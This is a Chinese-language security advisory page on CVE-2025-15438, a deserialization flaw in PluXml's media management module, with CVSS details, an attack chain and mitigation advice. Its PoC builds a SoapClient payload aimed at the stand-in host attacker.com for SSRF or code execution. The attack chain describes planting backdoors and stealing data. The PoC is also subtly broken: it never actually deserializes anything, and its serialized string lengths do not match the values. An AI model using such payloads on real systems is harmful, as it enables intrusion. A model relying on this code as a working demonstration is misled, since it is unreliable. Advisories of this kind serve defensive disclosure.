IPBUF安全漏洞报告
English
CVE-2025-15438 CVSS 4.7 中危

CVE-2025-15438 PluXml FileCookieJar反序列化漏洞

披露日期: 2026-01-02

漏洞信息

漏洞编号
CVE-2025-15438
漏洞类型
反序列化漏洞
CVSS评分
4.7 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
PluXml

相关标签

反序列化漏洞PluXmlCVE-2025-15438PHP漏洞远程代码执行Media Management ModuleFileCookieJar中危漏洞

漏洞概述

CVE-2025-15438是PluXml内容管理系统中的一个中危反序列化漏洞。该漏洞存在于PluXml 5.8.22及之前版本的Media Management Module组件中,具体位于core/admin/medias.php文件的FileCookieJar::__destruct函数。攻击者可以通过构造恶意的File参数触发反序列化操作,从而可能导致远程代码执行。由于该漏洞的CVSS评分为4.7,属于中危级别,攻击复杂度低但需要高权限认证。漏洞已于2026年1月2日公开披露,供应商确认将在5.8.23版本中修复此问题。鉴于漏洞已公开披露且利用代码可能已流传,建议相关用户尽快采取防护措施。

技术细节

该漏洞是PHP反序列化漏洞,存在于PluXml的FileCookieJar类中的__destruct魔术方法。当对象被销毁时,PHP会自动调用__destruct方法,攻击者可以利用这一特性构造恶意序列化数据。在core/admin/medias.php的Media Management Module中,FileCookieJar类接收用户可控的File参数,该参数未经充分安全处理即被用于反序列化操作。攻击者可以通过构造包含恶意类属性的序列化字符串,利用PHP的unserialize()函数触发代码执行。常见的利用方式包括利用PHP内置类(如SoapClient)或POP链(Property-Oriented Programming)来达成远程代码执行。攻击成功的前提是目标服务器存在可利用的反序列化 gadget 链。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站使用PluXml CMS,并确定其版本低于5.8.23
STEP 2
步骤2: 定位漏洞点
访问core/admin/medias.php的Media Management Module,找到FileCookieJar类的__destruct方法
STEP 3
步骤3: 构造恶意载荷
构造包含恶意序列化对象的payload,利用PHP反序列化漏洞和POP链执行任意代码
STEP 4
步骤4: 发送攻击请求
通过HTTP请求将恶意File参数传递给漏洞接口,触发反序列化操作
STEP 5
步骤5: 权限提升与持久化
成功利用后获得服务器访问权限,可进一步植入后门或窃取数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<?php // CVE-2025-15438 PoC - PluXml FileCookieJar Deserialization // This PoC demonstrates the deserialization vulnerability in PluXml class FileCookieJar { private $file; public function __construct($file) { $this->file = $file; } // Magic method called when object is destroyed public function __destruct() { // Vulnerable: unserializing user-controlled data if (isset($this->file)) { // This would trigger deserialization // In real attack, $this->file contains malicious serialized data } } } // Example malicious payload using PHP built-in classes // This creates a serialized object that can trigger SSRF or RCE $payload = 'O:13:"SoapClient":3:{s:3:"uri";s:10:"http://attacker.com";s:8:"location";s:10:"http://attacker.com";s:15:"_stream_context";i:0;}'; // Simulated attack vector // In vulnerable version, this would be passed as 'File' parameter $maliciousFile = $payload; // Create vulnerable object $jar = new FileCookieJar($maliciousFile); // When script ends, __destruct() is called, triggering deserialization echo "PoC executed - Object created with malicious File parameter\n"; ?>

影响范围

PluXml < 5.8.23
PluXml <= 5.8.22

防御指南

临时缓解措施
立即将PluXml升级到5.8.23版本。在升级前,可通过限制core/admin/medias.php的访问权限、禁用不必要的PHP反序列化功能、或在Web应用防火墙(WAF)上添加规则拦截可疑的序列化数据来临时缓解风险。建议同时检查是否存在其他可能触发反序列化的入口点。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表